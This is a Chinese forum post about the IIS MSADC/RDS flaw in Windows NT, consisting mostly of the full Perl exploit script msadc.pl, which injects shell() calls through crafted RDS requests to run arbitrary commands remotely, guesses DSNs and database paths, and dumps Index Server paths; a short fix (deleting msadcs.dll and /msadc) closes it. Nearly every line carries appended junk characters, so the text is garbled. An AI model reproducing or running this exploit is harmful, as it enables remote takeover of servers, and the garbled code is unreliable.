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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) w4I&SLm-b  
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涉及程序: N>a. dYXr  
Microsoft NT server ?xkw~3Yfi  
gl.uDO%.  
描述: ::goqajV  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 NJ%>|`FEi7  
] {sx#|_S  
详细: 5t('H`,2  
如果你没有时间读详细内容的话,就删除: MK1V1F`  
c:\Program Files\Common Files\System\Msadc\msadcs.dll _-MILkx\  
有关的安全问题就没有了。 u?Pec:3%  
F"|OcKAA}h  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 r1pj-   
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 C_5o&O8Bc  
关于利用ODBC远程漏洞的描述,请参看: %X|fp{C  
 Z|t`}lK  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm  kD}w5 U  
ZwzN=03T  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 yzH(\ x  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp EU5^"\  
4fR}+[~2  
这里不再论述。 5)@UpcjUA  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: A-6><X's6  
o54/r#~fi  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset  m[>pv1o  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! s:O8dL /  
4DwQ7KX  
p+.xye U(  
#将下面这段保存为txt文件,然后: "perl -x 文件名" I-glf?F)  
?R!?}7  
#!perl ,`Yx(4!rR  
# ;#)vw;XR  
# MSADC/RDS 'usage' (aka exploit) script RA_gj lJi  
# D(X:dB50@  
# by rain.forest.puppy _n~[wb5J  
# \86:f<)P  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 2h;#BJ))  
# beta test and find errors! a62'\wF>D  
NsJ]Tp5!  
use Socket; use Getopt::Std; $*\G Z$y>  
getopts("e:vd:h:XR", \%args); /s~(? =qYH  
@r130eLh  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; c'!+]'Lr  
Vb57B.I  
if (!defined $args{h} && !defined $args{R}) { XI5TVxo(q  
print qq~ \Bvy~UeE)>  
Usage: msadc.pl -h <host> { -d <delay> -X -v } /z)H7s+  
-h <host> = host you want to scan (ip or domain) r9 5hW  
-d <seconds> = delay between calls, default 1 second U,g)N[|  
-X = dump Index Server path table, if available /:=,mWoO  
-v = verbose .wpp)M.w;H  
-e = external dictionary file for step 5 .Ce0yAl~  
a#pM9n~a  
Or a -R will resume a command session -J& b~t@  
W Te1E,M  
~; exit;} lj US-6  
)x<oRHx]  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; )k~{p;Ke  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 1m{c8Z.h/d  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} dq4t@:\o0  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); O>c2*9PM  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} SB) Hz8<  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } N5F+h94z]  
AMSn^ 75  
if (!defined $args{R}){ $ret = &has_msadc; uS|f|)U&  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} T/Bx3VWL  
1nZ7xCDK98  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 4qKMnYR  
. "cmd /c "; ETQL,t9m  
$in=<STDIN>; chomp $in; Xw'Y &!z  
$command="cmd /c " . $in ; m=#<   
JY0}#FtgV  
if (defined $args{R}) {&load; exit;} df R?O#JPU  
?y|8bw<  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; CkeqK  
&try_btcustmr; |h 3`z  
:c3'U_H^  
print "\nStep 2: Trying to make our own DSN..."; p5V.O20  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; [+3~wpU(p  
.t9*wz  
print "\nStep 3: Trying known DSNs..."; TjWMdoU$J  
&known_dsn; +01bjM6F_1  
knABlU  
print "\nStep 4: Trying known .mdbs..."; 5M= S7B3=  
&known_mdb; &eIwlynm  
f1wwx|b%.  
if (defined $args{e}){ Y![//tg  
print "\nStep 5: Trying dictionary of DSN names..."; 3FQXp  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } N 6t`45  
m^%Xl@V:c-  
print "Sorry Charley...maybe next time?\n"; z#Cgd-^7.#  
exit; _h1:{hF  
JfVGs;_,  
############################################################################## F !MxC  
JPmZ%]wA  
sub sendraw { # ripped and modded from whisker QG]*v=Z  
sleep($delay); # it's a DoS on the server! At least on mine... dMDSyd<(  
my ($pstr)=@_; @sG5Do  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ,/Yo1@U  
die("Socket problems\n"); )%Lgo${[;  
if(connect(S,pack "SnA4x8",2,80,$target)){ HI!bq%TZ4  
select(S); $|=1; dx)v`.%V  
print $pstr; my @in=<S>; 3F\UEpQ  
select(STDOUT); close(S); w@$_2t  
return @in; x)prI6YMv\  
} else { die("Can't connect...\n"); }} yoVN|5  
'U{6LSaCb  
############################################################################## `\Hs{t]  
x-Fl|kwX.5  
sub make_header { # make the HTTP request QV*W#K\7q  
my $msadc=<<EOT qy,X#y'FuE  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 VK/i5yT5N  
User-Agent: ACTIVEDATA MtXd}/  
Host: $ip Jh`6@d  
Content-Length: $clen .{Df"e>  
Connection: Keep-Alive >vk?wY^f  
9 Xx4,#?  
ADCClientVersion:01.06 S+M:{<AR  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 n||!/u)*  
QMBV"E_aY  
--!ADM!ROX!YOUR!WORLD! 3@^b's'S|}  
Content-Type: application/x-varg !k0t (.  
Content-Length: $reqlen A]%hM_5s  
E?^A+)<"  
EOT nk+*M9r|I  
; $msadc=~s/\n/\r\n/g; xyaU!E*  
return $msadc;} b1t7/q  
Z<~^(W7h  
############################################################################## Nbm=;FHB`  
c[E>2P2-_  
sub make_req { # make the RDS request MnT+p[.  
my ($switch, $p1, $p2)=@_; jY8u1z  
my $req=""; my $t1, $t2, $query, $dsn; QAK.Qk?Qu  
RWK##VHK  
if ($switch==1){ # this is the btcustmr.mdb query SPY4l*kX  
$query="Select * from Customers where City=" . make_shell(); f')3~)"  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . iT"H%{+~  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} @V5'+^O  
G[[NDK  
elsif ($switch==2){ # this is general make table query ^bckl tSo  
$query="create table AZZ (B int, C varchar(10))"; ]J6+nA6)  
$dsn="$p1";} 9KLhAYaq  
}dSxrT  
elsif ($switch==3){ # this is general exploit table query bcy( ?(  
$query="select * from AZZ where C=" . make_shell(); C@q&0\HN  
$dsn="$p1";} Gj(UA1~1  
n:5*Tg9  
elsif ($switch==4){ # attempt to hork file info from index server yi9c+w)b  
$query="select path from scope()"; 6P:H`  
$dsn="Provider=MSIDXS;";} ;3k6_ub  
G9uWn%5r  
elsif ($switch==5){ # bad query KqT~MPl  
$query="select"; n\D3EP<s  
$dsn="$p1";} D:Y `{{  
/DQcM.3  
$t1= make_unicode($query); OJ\rT.{  
$t2= make_unicode($dsn); TAn.5 wH9t  
$req = "\x02\x00\x03\x00"; w=H4#a?fc  
$req.= "\x08\x00" . pack ("S1", length($t1)); SsF 5+=A  
$req.= "\x00\x00" . $t1 ; $/uNV1 ]o  
$req.= "\x08\x00" . pack ("S1", length($t2)); t?j2Rw3f`I  
$req.= "\x00\x00" . $t2 ; jw!QjVuRN%  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; BA+:}81&<q  
return $req;} p; ZEz<M  
Q|W!m0XO  
############################################################################## : j m|)  
7OOod1  
sub make_shell { # this makes the shell() statement tHo0q<.oX  
return "'|shell(\"$command\")|'";} 5`3f"(ay/  
.5m^)hi  
############################################################################## |uE _aFQs  
X@7K#@5  
sub make_unicode { # quick little function to convert to unicode 07dUBoq  
my ($in)=@_; my $out; PX1Scvi  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } dLek4q `l  
return $out;} 6uH1dsD  
7J%v""\1!  
##############################################################################  8E!I9z  
FE/2.!]&o  
sub rdo_success { # checks for RDO return success (this is kludge) 8Bnw//_pT  
my (@in) = @_; my $base=content_start(@in); ^D0BGC&&  
if($in[$base]=~/multipart\/mixed/){ "@[xo7T  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ;ckv$S[p  
return 0;} d#eHX|+  
m'%Z53&  
############################################################################## r6-'p0|   
-=]LQHuQ  
sub make_dsn { # this makes a DSN for us \T_?<t,UT  
my @drives=("c","d","e","f"); ?JD\pYg[/  
print "\nMaking DSN: "; [+st?;"GF  
foreach $drive (@drives) { _(\\>'1q!  
print "$drive: "; ].2it{gF?b  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . = *A_{u;E  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" rHtT>UE=  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); C9}2F{8  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; PHa#;6!5  
return 0 if $2 eq "404"; # not found/doesn't exist uhLg2G^h  
if($2 eq "200") { ^JMSe-  
foreach $line (@results) { :6z0Ep"  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} BVC{Zq6hi  
} return 0;} Fq5);sX=  
cF[[_  
############################################################################## B|O/h! H.  
q t}[M|Q^r  
sub verify_exists { yf=ek= =  
my ($page)=@_; 9e Dji,  
my @results=sendraw("GET $page HTTP/1.0\n\n"); >P=xzg79  
return $results[0];} TJB0O]@3  
xy|-{  
############################################################################## GfQP@R"  
/j' We-C  
sub try_btcustmr { ZtEHP`Iin  
my @drives=("c","d","e","f"); HC8{);  
my @dirs=("winnt","winnt35","winnt351","win","windows"); V_(?mC  
!+M H?A  
foreach $dir (@dirs) { 6iFd[<.*j  
print "$dir -> "; # fun status so you can see progress b['TRYc=:  
foreach $drive (@drives) { ):+H`Hcm  
print "$drive: "; # ditto 79%${ajSI  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; /d >fp  
$reqlenlen=length( "$reqlen" ); ^U_B>0`ch  
$clen= 206 + $reqlenlen + $reqlen; )vS## -[_  
A?;/]m;  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); rDYq]`  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} o0wep&@  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} w'5~GhnP+  
xL>0&R  
############################################################################## =I/J !}.  
't{=n[  
sub odbc_error { 5Tp n`2F  
my (@in)=@_; my $base; |U^ ff^]  
my $base = content_start(@in); 2uWzcy ?F  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 5Kv=;o=U  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; wrn[q{dX  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; h3 p 3~xq  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; "eQ96^'J  
return $in[$base+4].$in[$base+5].$in[$base+6];} V_}`2.Pg  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 2.&v{gq  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . l:HO|Mq  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} |<ke>j/6n  
W{;!JI7;z  
############################################################################## r+0)l:{.  
HXdPKS4q  
sub verbose { O|j5ulO}&"  
my ($in)=@_; 8XJ%Yuu  
return if !$verbose; @;<w"j`r  
print STDOUT "\n$in\n";} ]jHB'Y  
317Buk  
############################################################################## ]V@! kg(p8  
NE9e br K  
sub save { I/WnF"yP  
my ($p1, $p2, $p3, $p4)=@_; r 'jVF'w  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; _n}!1(xYa`  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 5Cy)#Z{  
close OUT;} VY _(0  
hkU# lt  
############################################################################## C [2tH2*#  
wOi>i`D&  
sub load { 5[gkGKkf_  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ?o.G@-  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); =,@SZsM*B  
@p=<IN>; close(IN); jQ`"Op 3  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); %q*U[vv  
$target= inet_aton($ip) || die("inet_aton problems"); nLtP^ 1~9H  
print "Resuming to $ip ..."; cR5<.$aY  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; KH KqE6  
if($p[1]==1) { &`TX4b^/!  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; Y,(eu*Za  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; DR0W)K ^  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); <O>Q;}>gfc  
if (rdo_success(@results)){print "Success!\n";} Zo0&<QWj  
else { print "failed\n"; verbose(odbc_error(@results));}} ,XA;S5FE  
elsif ($p[1]==3){ Pm?6]] 7  
if(run_query("$p[3]")){ ,+X8?9v  
print "Success!\n";} else { print "failed\n"; }} c~RIl5j  
elsif ($p[1]==4){ |nt J+  
if(run_query($drvst . "$p[3]")){ Pucf0 #  
print "Success!\n"; } else { print "failed\n"; }} *q0N$}k  
exit;} ldX]A#d.  
J)fS2Ni+  
############################################################################## D9LwYftZ  
IeU.T@ $  
sub create_table { x9_ Lt4  
my ($in)=@_; H7SqM D*y9  
$reqlen=length( make_req(2,$in,"") ) - 28; +Zr03B  
$reqlenlen=length( "$reqlen" ); zIo))L  
$clen= 206 + $reqlenlen + $reqlen; mtOrb9` m  
my @results=sendraw(make_header() . make_req(2,$in,"")); nlY ^  
return 1 if rdo_success(@results); THu a?,oyW  
my $temp= odbc_error(@results); verbose($temp); u%h<5WNh<  
return 1 if $temp=~/Table 'AZZ' already exists/; }dXL= ul  
return 0;} z{n=G  
r\Nn WS J  
############################################################################## J5o"JRJ"  
So8P 8TCK  
sub known_dsn { UJm`GO  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ]DUH_<3"E  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", []2GN{m  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", z H \*v'  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); nu3 A'E`'k  
Z?x]HB`r  
foreach $dSn (@dsns) { {[9^@k  
print "."; WWO jyj  
next if (!is_access("DSN=$dSn")); TRq~n7Y7C  
if(create_table("DSN=$dSn")){ !c&^b@ yw  
print "$dSn successful\n"; ( ~OwO_|3  
if(run_query("DSN=$dSn")){ Rxli;blzi  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { U=yD!  
print "Something's borked. Use verbose next time\n";}}} print "\n";} uo{QF5z]  
=az$WRV+7!  
############################################################################## aFSZYyPxwv  
,f1wN{P  
sub is_access { eP2 yU  
my ($in)=@_; Q.|2/6hD7[  
$reqlen=length( make_req(5,$in,"") ) - 28; {'ZnxK'  
$reqlenlen=length( "$reqlen" ); o&AUB` .9~  
$clen= 206 + $reqlenlen + $reqlen; k Z3tz?Du  
my @results=sendraw(make_header() . make_req(5,$in,"")); ;4_n:XUgo;  
my $temp= odbc_error(@results); ;|^fAc~9{r  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); *@ o3{0[Z  
return 0;} @1 +/r?b  
WIGb7}egR  
############################################################################## t!=S[  
fBF}-{VX(  
sub run_query { vK{K#{  
my ($in)=@_; "_l[4o[D  
$reqlen=length( make_req(3,$in,"") ) - 28; * =Fcu@  
$reqlenlen=length( "$reqlen" ); } F.1j!71L  
$clen= 206 + $reqlenlen + $reqlen; vP?yl "U  
my @results=sendraw(make_header() . make_req(3,$in,"")); M`<D Z<:<  
return 1 if rdo_success(@results); -?(RoWv@X&  
my $temp= odbc_error(@results); verbose($temp); wLO/2V}/  
return 0;} u<8Q[_E&  
&q U[ wn:1  
############################################################################## :U*[s$  
fr?eOigbl  
sub known_mdb { Gt%kok  
my @drives=("c","d","e","f","g"); 3edAI&a5  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Iu[EUi!"  
my $dir, $drive, $mdb; f LW>-O73  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 6:!fyia  
ZJpI]^9|  
# this is sparse, because I don't know of many F,zJdJ  
my @sysmdbs=( "\\catroot\\icatalog.mdb", |<V{$),k  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 9mnON~j5  
"\\system32\\certmdb.mdb", 0%t|?@HoN  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% xH0/R LK3J  
3q>"#+R.t  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ,*4"d._Y  
"\\cfusion\\cfapps\\forums\\forums_.mdb", NLpD,q{  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", [Ok8l='  
"\\cfusion\\cfapps\\security\\realm_.mdb", >H1d9y +Z  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", \\qg2yI  
"\\cfusion\\database\\cfexamples.mdb", ?*@h]4+k'  
"\\cfusion\\database\\cfsnippets.mdb", [GuDMl3hC  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", $!f$R`R^Q\  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", la4 ,Z  
"\\cfusion\\brighttiger\\database\\cleam.mdb", }rE|\p>  
"\\cfusion\\database\\smpolicy.mdb", GEA;9TU|V  
"\\cfusion\\database\cypress.mdb", M($},xAvDU  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", > 95Cs`>d  
"\\website\\cgi-win\\dbsample.mdb", (`NRF6'&1L  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", [jw o D  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" wl%1B64  
); #these are just w}0Qy  
foreach $drive (@drives) { ]| y H8m  
foreach $dir (@dirs){ twtDyo(\  
foreach $mdb (@sysmdbs) { ,fw[J  
print "."; H1[aNwLr  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ zi ,Rk.  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; k +Oq$Pi  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ Kq$Zyf=E  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ie!4z34  
} else { print "Something's borked. Use verbose next time\n"; }}}}} W!k6qTz)  
}D^Gt)   
foreach $drive (@drives) { #+;=ijyF  
foreach $mdb (@mdbs) { taQ[>x7b  
print ".";  T_uuFL  
if(create_table($drv . $drive . $dir . $mdb)){ O5Lv :qAa  
print "\n" . $drive . $dir . $mdb . " successful\n"; $ZRN#x@  
if(run_query($drv . $drive . $dir . $mdb)){ >D<=9G(a  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ;$QJnQ"R  
} else { print "Something's borked. Use verbose next time\n"; }}}} a{+oN $  
} DR /)hAE  
 vt N5{C  
############################################################################## >I?Mi{'a  
"{_"Nj H  
sub hork_idx { XV>6;!=E  
print "\nAttempting to dump Index Server tables...\n"; A 5 X+Z  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 8j}m\^si  
$reqlen=length( make_req(4,"","") ) - 28; wM)w[  
$reqlenlen=length( "$reqlen" ); I[UA' ~f  
$clen= 206 + $reqlenlen + $reqlen; k%g xY% 0  
my @results=sendraw2(make_header() . make_req(4,"","")); )US/bC!M$  
if (rdo_success(@results)){ AG7}$O.  
my $max=@results; my $c; my %d; }dUC^04  
for($c=19; $c<$max; $c++){ i!3KG|V  
$results[$c]=~s/\x00//g; _kHpM:;.  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; C]fTV{  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; )^N8L<   
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; VK;x6*Y  
$d{"$1$2"}="";} 0UJ`<Bfd  
foreach $c (keys %d){ print "$c\n"; } [,^dM:E/  
} else {print "Index server doesn't seem to be installed.\n"; }} 3 ms/v:\  
$kma#7  
############################################################################## 7]%il[  
$O'2oeM  
sub dsn_dict { Ij1 ]GZ`A(  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); noA\5&hqW  
while(<IN>){ )6&\WNL-x  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; pT@!O}'$  
next if (!is_access("DSN=$dSn")); \&5@yh  
if(create_table("DSN=$dSn")){ LG#w/).^  
print "$dSn successful\n"; xbC8Amo;8"  
if(run_query("DSN=$dSn")){ 1H =wl =K  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { e@=[+iJc  
print "Something's borked. Use verbose next time\n";}}} k8e"5 he  
print "\n"; close(IN);} IWqxT?*  
41o!2(e$  
############################################################################## ,6O9#1A&i  
@/~k8M/  
sub sendraw2 { # ripped and modded from whisker e6HlOGPVQH  
sleep($delay); # it's a DoS on the server! At least on mine... 1fW4=pF-K  
my ($pstr)=@_; Rr4CcM  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || /]zib@i  
die("Socket problems\n"); 4~A#^5J  
if(connect(S,pack "SnA4x8",2,80,$target)){ 6 ]PM!6  
print "Connected. Getting data"; 9+I/y,aC  
open(OUT,">raw.out"); my @in; Nf'dT;s.N  
select(S); $|=1; print $pstr; (D m"e`  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Y@H,Lk  
close(OUT); select(STDOUT); close(S); return @in; .k`*$1?73x  
} else { die("Can't connect...\n"); }} s2?,'es  
`B\KS*Gya#  
############################################################################## R+K&<Rz  
x}<G!*3  
sub content_start { # this will take in the server headers o:8S$F`O@  
my (@in)=@_; my $c; n>:c}QAJH  
for ($c=1;$c<500;$c++) { 8EG8!,\I  
if($in[$c] =~/^\x0d\x0a/){ Cw[Od"B\?U  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } #A/J^Ko  
else { return $c+1; }}} tH,K\v`f  
return -1;} # it should never get here actually (1SO;8k\  
_8li4;F  
############################################################################## Mc7<[a  
|M<.O~|D6}  
sub funky { h:jI  
my (@in)=@_; my $error=odbc_error(@in); d50IAa^p6J  
if($error=~/ADO could not find the specified provider/){ M.:@<S  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; `s83r hs`!  
exit;} S~rVRC"<xo  
if($error=~/A Handler is required/){ aC yb-P  
print "\nServer has custom handler filters (they most likely are patched)\n"; .;Utkf'I  
exit;} Z#Zzi5<  
if($error=~/specified Handler has denied Access/){ y'!p>/%v  
print "\nServer has custom handler filters (they most likely are patched)\n"; B N*,!fx  
exit;}} 'RV\}gqZ  
qa$[L@h>  
############################################################################## nUud?F^_  
jaO#><f  
sub has_msadc { 9hR:y.  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); K~Au?\{  
my $base=content_start(@results); r,.95@  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); J;=aIiN]R  
return 0;} av; (b3Lq  
M,\|V3s  
######################## )/WA)fWkT  
_UBJPb@=U  
^dUfTG9{  
解决方案: t66f 7AR  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll oa&US_  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 G{:af:5Fo  
n$hqNsM  
拿出来充数 哈哈
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